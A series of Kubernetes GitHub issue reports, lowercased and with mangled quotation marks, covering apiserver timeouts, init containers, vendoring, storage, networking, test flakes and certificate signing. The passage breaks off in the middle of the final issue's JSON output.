i0227 14:39:42.186219   25785 round_trippers.go:398  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kube-apiserver/v0.0.0  linux/amd64  kubernetes/$format\  http://127.0.0.1:8080/apis/extensions/v1beta1/thirdpartyresources\r i0227 14:40:33.189275   25785 round_trippers.go:417  get http://127.0.0.1:8080/apis/rbac.authorization.k8s.io/v1beta1/clusterroles/system:discovery 504 gateway timeout in 60001 milliseconds\r i0227 14:40:33.189322   25785 round_trippers.go:423  response headers:\r i0227 14:40:33.189347   25785 round_trippers.go:426      content-type: text/plain; charset=utf-8\r i0227 14:40:33.189354   25785 round_trippers.go:426      date: mon, 27 feb 2017 14:40:33 gmt\r i0227 14:40:33.189360   25785 round_trippers.go:426      content-length: 300\r i0227 14:40:33.189441   25785 request.go:991  response body: {\ errstatus\ :{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the get operation against clusterroles.rbac.authorization.k8s.io could not be completed at this time, please try again.\ ,\ reason\ :\ servertimeout\ ,\ details\ :{\ name\ :\ get\ ,\ group\ :\ rbac.authorization.k8s.io\ ,\ kind\ :\ clusterroles\ },\ code\ :500}}\r e0227 14:40:33.189530   25785 storage_rbac.go:162  unable to reconcile clusterrole.rbac.authorization.k8s.io/system:discovery: the server cannot complete the requested operation at this time, try again later  get clusterroles.rbac.authorization.k8s.io system:discovery \r i0227 14:40:33.189650   25785 round_trippers.go:398  curl -k -v -xget  -h \ user-agent: kube-apiserver/v0.0.0  linux/amd64  kubernetes/$format\  -h \ accept: application/json,  / \  http://127.0.0.1:8080/apis/rbac.authorization.k8s.io/v1beta1/clusterroles/system:basic-user\r i0227 14:40:42.187123   25785 round_trippers.go:417  get http://127.0.0.1:8080/apis/extensions/v1beta1/thirdpartyresources 504 gateway timeout in 60000 milliseconds\r i0227 14:40:42.187191   25785 round_trippers.go:423  response headers:\r i0227 14:40:42.187210   25785 round_trippers.go:426      date: mon, 27 feb 2017 14:40:42 gmt\r i0227 14:40:42.187240   25785 round_trippers.go:426      content-length: 286\r i0227 14:40:42.187249   25785 round_trippers.go:426      content-type: text/plain; charset=utf-8\r i0227 14:40:42.187317   25785 request.go:991  response body: {\ errstatus\ :{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the list operation against thirdpartyresources.extensions could not be completed at this time, please try again.\ ,\ reason\ :\ servertimeout\ ,\ details\ :{\ name\ :\ list\ ,\ group\ :\ extensions\ ,\ kind\ :\ thirdpartyresources\ },\ code\ :500}}\r w0227 14:40:42.187401   25785 storage_extensions.go:127  third party resource sync failed: the server cannot complete the requested operation at this time, try again later  get thirdpartyresources.extensions \r i0227 14:40:52.188164   25785 round_trippers.go:398  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kube-apiserver/v0.0.0  linux/amd64  kubernetes/$format\  http://127.0.0.1:8080/apis/extensions/v1beta1/thirdpartyresources\r    \r \r   anything else we need to know  :\r nope.\r

cleaning up the pod cgroup in the pod worker is more efficient than relying on the periodic cleanup routine   handlepodcleanup  . \r this would also allow removing the extra condition  see https://github.com/kubernetes/kubernetes/pull/42585/files r105076567  that may cause even more races . \r \r ref:  42893\r \r /cc @derekwaynecarr @dashpole @random-liu @dchen1107

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r  \r   what happened  : when \ pod sandbox changed\  containers are recreated but initcontainer are not.\r \r   what you expected to happen  : if the pod is restarted, all init containers must execute again.\r \r   how to reproduce it  as minimally and precisely as possible   : create some pod with a initcontainer, reboot node and wait.\r \r   anything else we need to know?  : sandbox changed because flannel start after pod.  /run/flannel/subnet.env: no such file or directory \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4\r - cloud provider or hardware configuration  : centos 7.3\r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  : linux controller1 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r in attempts to rebase kubernetes incubator projects  i.e. service catalog and cluster-capacity , it was unclear what commits from the various repositories would all work well together.  these repositories include the following:\r \r - kubernetes/kubernetes\r - kubernetes/apimachinery\r - kubernetes/apiserver\r - kubernetes/client-go\r \r after further investigation, the behavior for kubernetes/client-go was clear in that we bump the semantic version with each minor kubernetes version at this time.  the behavior for the other repositories was less clear.  evidence shows that these repositories attempt to choose a commit around the time that kubernetes shipped, and its a bit of a guessing game to try and find a commit around the time kubernetes releases were cut.\r \r see comments here for an example:\r https://github.com/kubernetes-incubator/service-catalog/blob/master/glide.yaml\r \r ideally, for the kubernetes/apimachinery and kubernetes/apiserver repositories we could have a release branch that tracks kubernetes/kubernetes until such time those libraries stabilize and are themselves vendored back into kubernetes/kubernetes rather than vendored out.  i think that would make repositories that vendor them in have a less confusing experience.\r \r in addition, it is not clear to the reporter of this issue how a project that depends on those repositories can pick up security changes or fixes that may be found at a later time.  for example, if a fix  security or otherwise  goes into kubernetes/kubernetes release-1.7 via a cherry-pick for a file in the staging directories, how can a dependent project know that they can get those fixes in the current model?  ideally, any fixes made in a cherry-pick to past releases would also get pushed out the kubernetes/apimachinery release-1.7 branch, and dependent repositories could just pull an updated commit from that branch.\r \r   what you expected to happen  :\r it should be less confusing on what things work well together.  there should be a mechanism for getting cherry-picks made in kubernetes/kubernetes staging areas to be easily pulled by dependent projects until such time kubernetes/kubernetes vendors those libraries directly.  i recognize that these projects are on the cutting edge, but it seems like we could make small improvements to help those consumers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r nope\r \r   environment  :\r n/a

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r for dynamic provisioning of local storage, we'll need a place to report available capacity of each nodes, so that scheduler can be aware of that, and tell if a node is available to provision local volumes of a pod.\r \r we've got an internal draft of the design. it is considered a general one, storages can report capacity per storageclass per topology dimension  e.g. per az, per region, and for local storage per node .\r but on the another hand, we're concerned if it's overengineering, as in fact we don't have a strong use case of capacity reporting for other storage types.\r \r recently, we are looking into a new feature for max attachable capacity per node an extension on existing volume attach limits feature .\r this is meant for cloud volumes types that restrict total attachable capacity, we'd like to see if local storage could piggy back on it. i think the behavior  of reporting capacity in node status  has a natural affinity with local storage.\r \r   anything else we need to know?  :\r \r one concern with this approach is that it will only work for local storage. if in the future we end up needing to support others, then it will need to be a completely different solution.\r personally i think it acceptable,  as we mainly make use of an existing feature, rather than introduce a new feature that only works on local storage.\r \r 

i have a cluster made up of ubuntu nodes 192.168.1.1 \ ai\   192.168.1.2  \ i\   i am trying to add a k8s node  \ 192.168.2.1\    that is behind a nat gateway. the k8s node is translated as \ 192.168.1.100\  in the \ 192.168.1.x\  network. is this supported? what configuration changes do i need to make to get this to work?

the kubernetes-e2e-gce-federation jenkins jobs in consistently flaking with the following output.      â€¢ failure  5.905 seconds   k8s.io  federation apiserver  feature:federation  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:641   should allow creation of cluster api objects  it    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federation-apiserver.go:63    creating cluster: post https://146.148.36.68:443/apis/federation/v1alpha1/clusters: dial tcp 146.148.36.68:443: getsockopt: connection refused   expected error:       < url.error | 0xc8209cc6f0>: {           op: \ post\ ,           url: \ https://146.148.36.68:443/apis/federation/v1alpha1/clusters\ ,           err: {               op: \ dial\ ,               net: \ tcp\ ,               source: nil,               addr: {                   ip: \ \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x92\\x94$d\ ,                   port: 443,                   zone: \ \ ,               },               err: {                   syscall: \ getsockopt\ ,                   err: 0x6f,               },           },       }       post https://146.148.36.68:443/apis/federation/v1alpha1/clusters: dial tcp 146.148.36.68:443: getsockopt: connection refused   not to have occurred    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federation-apiserver.go:53 ------------------------------      this is kubectl attempting to open a connection with the federation-apiserver via a loadbalancer service.  there are two possible underlying causes here, which are not mutually exclusive: - federation-apiserver pod is not yet ready - gce loadbalancer has not finished initializing  i plan to remedy this by introducing some more \ is it ready yet?\  logic to  federated-up  procedure: - wait until the federation-apiserver pod stays ready for 10 seconds. right now we only wait until it's running - attempt to do  kubectl version  for another 30 seconds before allowing the e2e tests to start, to verify loadbalancer is initialized. right now we assume the loadbalancer is ready to serve traffic after the service ingress metadata becomes available. this is most likely a poor assumption  \\cc @quinton-hoole @nikhiljindal @madhusudancs

client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ c55cf2b7d8bfeb947f77453415d775d7f71c89c2\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t00:03:00z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ c55cf2b7d8bfeb947f77453415d775d7f71c89c2\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t00:03:00z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r centos linux release 7.2.1511  core  \r \r two mini node,i call svc through svc ip,in one node is ok,but another is err.\r i compare two iptables through iptables-save, rules are same.\r \r

https://storage.googleapis.com/k8s-gubernator/triage/index.html 19be14db86cdc1fad53e\r \r fails 3 builds and 30 tests every hour.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.4-gci-latest-upgrade-master/788\r \r https://k8s-testgrid.appspot.com/google-gke-latest-upgrade summary\r \r /assign @liggitt @michellen @mattfarina \r \r fyi one way to solve this is to just delete these jobs: https://github.com/kubernetes/test-infra/pull/2489

i am trying to upgrade pods image \ x\  to \ y\  through rest call but it's throwing error every time\r content:\r method : patch\r url :http://10.213.18.39:8080/api/v1/namespaces/default/pods/csp.csp-shared-object-1582379414-8e1v5 \r \r body:\r {\r \t\ kind\ : \ pod\ ,\r \t\ apiversion\ : \ v1\ ,\r \t\ spec\ : {\r \t\t\ containers\ :  {\r \t\t\t\ image\ : \ sspt-artifactory.juniper.net/shared-object-api-svr:3.1.0.dev367\ \r \t\t} \r \t}\r }\r earlier image is ::sspt-artifactory.juniper.net/shared-object-api-svr:3.1.0.dev342 and am trying to upgrade sspt-artifactory.juniper.net/shared-object-api-svr:3.1.0.dev367\r \r content/type : application/strategic-merge-patch+json\r \r os::: ubuntu\r so,can you suggest me any rest call avail for upgradation of pods if it is avail so pls guide me how can we do it

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r client-go rest method  into  returns nil if a different type of object is returned.\r \r   what you expected to happen  :\r error informing about incompatible type returned\r \r   how to reproduce it  as minimally and precisely as possible   :\r if an object of wrong type is passed into method  into  decoding the result in https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/rest/request.go l1013, the passed object remains unchanged and  decode  method returns an object of correct type. in this case, the  into  method returns  nil , and no error about wrong type is propagated.

dup'ish of https://github.com/kubernetes/test-infra/issues/4323\r \r we're seeing a lot of upgrade tests missing logs for the nodes and control plane components.\r \r the following suites have logs:\r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster-parallel\r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster-new\r \r the following suites appear to be missing logs:\r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-master\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster-parallel\r https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster\r \r cc @kubernetes/test-infra-admins\r cc @kubernetes/kubernetes-release-managers\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r now k8s does not support setting hostname for every pod in rc or deployment.\r \r   what you expected to happen  :\r why not support it?just like cni and ipam,the feature setting hostname by self should be useful\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

- look at one of the directories under staging/src/k8s.io/  please don't pick more than one directory for one pr as it will cause issues for reviewers \r - find all the files named  doc.go   example find staging/src/k8s.io/client-go/ -name doc.go \r - see the following link it has a  // import \ k8s.io/client-go/tools/remotecommand\   this tells tools how this package needs to be imported. so we should ensure that each doc.go has an import\r    https://github.com/kubernetes/kubernetes/blob/1fc36a5743bc02d62ddaac6cd41b71f0ef191ce2/staging/src/k8s.io/client-go/tools/remotecommand/doc.go l20\r - add a description appropriate to the package  similar to the one below \r    https://github.com/kubernetes/kubernetes/blob/1fc36a5743bc02d62ddaac6cd41b71f0ef191ce2/staging/src/k8s.io/client-go/tools/remotecommand/doc.go l17-l19\r - look through sub directories and see if there are any other important directories that are likely to be used by outside users and add a doc.go\r \r why are we doing this?\r - we perfer to use vanity urls instead of directly using github.com to refer to code, so this helps ensure that tools honor our wish. see https://golang.org/doc/go1.4 canonicalimports\r - it would be good to have some package level documentation since these directories under staging/ are meant to be for use by folks outside of kubernetes github org.\r \r /good-first-issue

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r \r in my cluster, kube-apiserver log always has tls handshake error like this:\r    \r i1030 06:26:29.191023       1 log.go:172  http: tls handshake error from 10.15.4.118:51084: read tcp 10.15.4.253:6443->10.15.4.118:51084: read: connection reset by peer\r i1030 06:31:50.354020       1 log.go:172  http: tls handshake error from 10.15.4.118:55268: read tcp 10.15.4.253:6443->10.15.4.118:55268: read: connection reset by peer\r i1030 06:31:50.354090       1 log.go:172  http: tls handshake error from 10.15.4.119:37746: read tcp 10.15.4.253:6443->10.15.4.119:37746: read: connection reset by peer\r i1030 06:35:20.467731       1 log.go:172  http: tls handshake error from 10.15.4.118:57980: read tcp 10.15.4.253:6443->10.15.4.118:57980: read: connection reset by peer\r i1030 06:36:20.498157       1 log.go:172  http: tls handshake error from 10.15.4.119:38722: read tcp 10.15.4.253:6443->10.15.4.119:38722: read: connection reset by peer\r i1030 06:37:41.540767       1 log.go:172  http: tls handshake error from 10.15.4.118:59816: read tcp 10.15.4.253:6443->10.15.4.118:59816: read: connection reset by peer\r i1030 06:37:41.540837       1 log.go:172  http: tls handshake error from 10.15.4.119:39020: read tcp 10.15.4.253:6443->10.15.4.119:39020: read: connection reset by peer\r    \r \r 10.15.4.118 & 10.15.4.119 is lb server by using haproxy. \r \r 10.15.4.253~255 is my master server, the same error is reported on all three machines. kube-controller-manager & kube-scheduler is no error log appears.\r \r guys please help me to resolve this !\r

what happened  :\r trying to enable the ttlafterfinished feature gate to use the job cleanup feature, and the feature does not work after enabling.\r   what you expected to happen  :\r the job to be deleted 100s after hitting the completed state.\r   how to reproduce it  as minimally and precisely as possible   :\r i added the following to the api-server and controller manifests:\r --feature-gates=\ ttlafterfinished=true\ \r after a restart, both show the item present. then launched a job with \ ttlsecondsafterfinished: 100\  set under .spec.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.1\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.15.0-34-generic\r - install tools: kubespray\r - others:\r \r <!-- do not edit below this line -->\r 

i ran into an issue earlier in which i started the api server on a service-cluster-ip-range, and then went back and changed that ip-range  went from 10.51/16 to 10.52/16 .  after changing this i started receiving errors in the journalctl logs of the kube-apiserver.service:      kube-apiserver 1723 : e0805 17:16:38.150204    1723 repair.go:122  the cluster ip 10.51.0.1 for service kubernetes/default is not within the service cidr 10.52.0.0/16; please recreate      thanks to thockin on irc, i was able to delete the service and have it re-create itself:        kubectl get services --all-namespaces namespace   name         labels                                    selector   ip s        port s  default     kubernetes   component=apiserver,provider=kubernetes   <none>     10.51.0.1   443/tcp   kubectl delete services/kubernetes services/kubernetes   kubectl get services --all-namespaces namespace   name         labels                                    selector   ip s        port s  default     kubernetes   component=apiserver,provider=kubernetes   <none>     10.52.0.1   443/tcp      however, without thocken's help i would be unaware on what to do in this situation  being a newbie to k8s .  he asked me to open an issue, and thus the issue is open!  additional information: - os: coreos - using fleet for kube-apiserver.service

when someone posts and that post results in a resource being created, the http log   /var/log/kube-apiserver.log   should show the name and namespace of the resource that was created.  currently, it does not.    this makes debugging from kube-apiserver logs difficult.  it makes them less useful as an audit log. this will probably involve some messy plumbing in the apiserver code.  however, when we have a formal audit logging feature, we will need the same plumbing.  for example, consider this log snippet which is based on a real log      i0129 19:49:18.981787       5 handlers.go:131  post /api/v1/namespaces/default/pods:  15.239636ms  201   kube-controller-manager/v1.1.4  linux/amd64  kubernetes/a5949fe  127.0.0.1:44735  i0129 19:49:18.981853       5 handlers.go:131  post /api/v1/namespaces/default/pods:  16.243425ms  201   kube-controller-manager/v1.1.4  linux/amd64  kubernetes/a5949fe  127.0.0.1:44732  i0129 19:49:18.982245       5 handlers.go:131  post /api/v1/namespaces/default/pods:  12.872161ms  201   kube-controller-manager/v1.1.4  linux/amd64  kubernetes/a5949fe  127.0.0.1:44736  i0129 19:49:18.982255       5 handlers.go:131  post /api/v1/namespaces/default/pods:  10.890707ms  201   kube-controller-manager/v1.1.4  linux/amd64  kubernetes/a5949fe  127.0.0.1:44737  .... i0129 19:49:21.489616       5 handlers.go:131  delete /api/v1/namespaces/default/pods/pod-cuwdd  16.891471ms  200   kube-controller-manager/v1.1.4  linux/amd64  kubernetes/a5949fe        if i am interested in  pod-cuwdd  and want to see its history, i need to do  grep pod-cuwdd /var/log/kube-apiserver.log .  but, that will not show who created it or when.  the post lines do not have the resource name.  and, if i inspect the log, i may see many posts in the time preceeding the delete.

we should look into checking the client and server nfs versions and validate the combination to provide debugging info when diagnosing issues with nfs mounts.  i don't know of a 100% portable way to do this, but generally rpcinfo can be used to get information about which versions a server supports and nfsstat can be used to get version information about the client.  @thockin @jmccormick2001 @kubernetes/rh-storage

hi all,  we are using:      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0+2831379\ , gitcommit:\ g2831379\ , gittreestate:\ clean\ , builddate:\ 2016-07-11t07:20:39z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0+2831379\ , gitcommit:\ g2831379\ , gittreestate:\ clean\ , builddate:\ 2016-07-11t07:20:39z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      our setup: we are spinning kubernetes clusters on demand on an openstack environment and developed a self service that allows our endusers to create/destroy their clusters.  if relevant, we use terraform to create/destory the openstack environment and salt to create a kubernetes cluster afterwards   i have been playing around with petsets lately and was hoping to giving our users the ability to destroy/create a cluster but still keeping their presited data. unfortunately, the volumes created by kubernetes do survive a terraform destroy but are ignored by the petset. instead it just creates a new volume with a new id.  my question/request is: would it be possible to create a reference to the created volume that is stable across clusters? for example by just using provided informations from the rc, svc, etc. files to create the id. or is it actually intended that they are not stable across clusters?  regards, christian

after  38382 , the initcontainers feature was promoted go ga; but the beta annotation value will still be respected and overrides the field value. open this issue to trace the enhancement for initcontainer annotation. sub-tasks in my mind:\r \r -     set defaults for initcontainer in annotation  refer to https://github.com/kubernetes/kubernetes/pull/39713 issuecomment-277128214 for the reason of this task \r -     enhance  podutil.setinitcontainersandstatuses  based on  31026\r -     use  podutil.setinitcontainersandstatuses  in  conversion.go  to avoid duplicated code  avoid code missed before removing annotation and easy to remove when graduate .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/3708/ failed: testblockingownerrefdoesblock {garbagecollector}      garbage_collector_test.go:643: unexpected error: replicationcontrollers \ test.rc.1\  not found

we should make sure that all documentation about federated services/setting up dns for federation explains that you must own the domain name. we do mention this in our documentation, but it's an easy thing to miss and it can be very tricky to diagnose if you don't know that you need to do it.\r \r it may be worth noting as well that, if you don't care about access from the public internet and your provider supports it, you can use private dns zones.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ empty certificate\ , \ empty csr\ , then expanded to looking at all issues with \ certicate signing request\  and a few others.\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ dirty\ , builddate:\ 2017-06-22t04:31:09z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube on osx\r -   os    e.g. from /etc/os-release :  osx 10.12.4 \r -   kernel    e.g.  uname -a  :  darwin brewer.lan 16.5.0 darwin kernel version 16.5.0: fri mar  3 16:52:33 pst 2017; root:xnu-3789.51.2~3/release_x86_64 x86_64 \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r  see  how to reproduce it  for exact steps/output \r i have an init container  see init-certs in the  config  https://raw.githubusercontent.com/cockroachdb/cockroach/master/cloud/kubernetes/cockroachdb-statefulset-secure.yaml , code  here  https://github.com/cockroachdb/k8s/tree/master/request-cert   that requests a certificate through the certificates api.\r \r the csr is properly created and shows up in  kubectl get csr .\r once i approve the csr   kubectl certificate approve ... , the status field of the  certificatesigningrequest.get  has the right  certificateapproved  condition, but the  certificate  field is nil.\r \r   what you expected to happen  :\r \r the certificate field should not be nil.\r i've seen proper behavior on gce. i've encountered this problem both on azure and minikube  minikube details attached here, it's easier to iterate on .\r \r   how to reproduce it    as minimally and precisely as possible :\r   start minikube\r   create cluster:  kubectl create -f https://raw.githubusercontent.com/cockroachdb/cockroach/master/cloud/kubernetes/cockroachdb-statefulset-secure.yaml \r   the following pod and csr should be created:\r    \r $ kubectl get all && kubectl get csr\r name               ready     status     restarts   age\r po/cockroachdb-0   0/1       init:1/2   1          5m\r \r name                     cluster-ip   external-ip   port s               age\r svc/cockroachdb          none         <none>        26257/tcp,8080/tcp   5m\r svc/cockroachdb-public   10.0.0.204   <none>        26257/tcp,8080/tcp   5m\r svc/kubernetes           10.0.0.1     <none>        443/tcp              2h\r \r name                       desired   current   age\r statefulsets/cockroachdb   3         0         5m\r name                 age       requestor                               condition\r node-cockroachdb-0   48s       system:serviceaccount:default:default   pending\r    \r   approve the csr:  kubectl certificate approve node-cockroachdb-0 \r   inspect the approved csr:\r    \r $ kubectl get csr node-cockroachdb-0 -o json\r {\r     \ apiversion\ : \ certificates.k8s.io/v1beta1\ ,\r     \ kind\ : \ certificatesigningrequest\ ,\r     \ metadata\ : {\r         \ creationtimestamp\ : \ 2017-06-22t16:03:25z\ ,\r         \ name\ : \ node-cockroachdb-0\ ,\r         \ resourceversion\ : \ 10335\ ,\r         \ selflink\ : \ /apis/certificates.k8s.io/v1beta1/certificatesigningrequestsnode-cockroachdb-0\ ,\r         \ uid\ : \ 52f9b4f9-5764-11e7-8447-0800279e07ef\ \r     },\r     \ spec\ : {\r         \ groups\ :  \r             \ system:serviceaccounts\ ,\r             \ system:serviceaccounts:default\ ,\r             \ system:authenticated\ \r          ,\r         \ request\ : \ ls0tls1crudjtibdrvjusuzjq0fursbsrvfvrvnuls0tls0ktuljqzveq0nby3ddqvfbd0l6rvnnqkfhqtfvrunotuprmjlqytnkdllxtm9nutb3q3dzrfzruurfd1j1yjjsbapnsulcswpbtkjna3foa2lhoxcwqkfrruzbqu9dqve4qu1jsujdz0tdqvffqxjocgjcngtbehhon2jnvvvqmgtpcmtny0r2ctvun3i5ry9vq1foohlibdvoa1lntejzwmdhoctkqum0bnaxztlkrxvzdva5bnzqk2zkzvhxc1beuzakmdlnl3a1mjlsethvcdnhuxrrmhj6sdvpdho4kzrhbfazwddxs2zddnvutuvia245su00thnsefcxa0s5a1fvcwpgcjn0vnuyrnlxzgpmm3jqdu1rz29wb3vqny8yt1njywxozstotwg1t3vvahpfr1izb1e5wmvwmktiufbkouhrcjjiy1nncwnwzmpeulz4rutvelfzrwnjdjjpce44uet3zeszzzbzdzjoowxtvu11wldonjk1s2d6uxfzmhv3chmkdhzotufvk2x0os9kbhltd1u4nexpunrirdexzk90delkavhey1pzuw96sytvt2lpr2hkmfzgeutzn05uby9usqpid0leqvfbqm9id3dlz1lks29aswh2y05buwtptvcwd2f6qnbcz05wsfjfrvlqqmdnz2xzyjjoagjhahzjm1ndck0ytnzzmnr5yjjgamfhumlmvef1wti5amezsnzzv05vwkdjdvphvm1zwfzzzem1emrttxvzmngxyznsbgnpnxmkyjjoagjjsvnzmjlqytnkdllxtm9ar0l0y0hwawjhbgpod1ivqufbqmh3u3nfuufftuewr0ntcudtswizrfffqgpdd1vbqtrjqkfrqulmn1r3d3yzcux4rtbdae15dgdsb2jtudzmy204qwlgyupwnenzvmx2qjrqs3zvyxvjuldgcitmejhrelrdvhfntmpmuitualpsbwrtcne1zwtsdjbxodjodg9hr3dhbtk3vtawteozdelyv1przi91c3exteukvzbhcc9ksnr0zmpswsswmwd3rzhkbnbkzzbinktiaxcxyzjiszr0txoru2swrjgvcgdamtjgzvvgl0fnl0didgovntjlr09ur1zxdm5owevmvm1kctlbz2dvtxpgmwjvbxdgd1nuszhbctzqky9mmvnpmunmr1irbfvncwvmafp0cnbaeljlqvpuwhd0tfnxbdixnzizy0o2y282bjvrq2vqcko2wurtsg9ucufnotljd2i2ztdkufjnzzl0ohflbdmky3pjtwkvk2nyk2lnuc9vv2h6d2zmzvzvz0nnuurpmjckls0tls1ftkqgq0vsvelgsunbveugukvrvuvtvc0tls0tcg==\ ,\r         \ uid\ : \ c1c0a394-5750-11e7-9121-0800279e07ef\ ,\r         \ usages\ :  \r             \ digital signature\ ,\r             \ key encipherment\ ,\r             \ client auth\ ,\r             \ server auth\ \r          ,\r         \ username\ : \ system:serviceaccount:default:default\ \r     },\r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastupdatetime\ : \ 2017-06-22t16:04:38z\ ,\r                 \ message\ : \ this csr was approved by kubectl certificate approve.\ ,\r                 \ reason\ : \ kubectlapprove\ ,\r                 \ type\ : \ 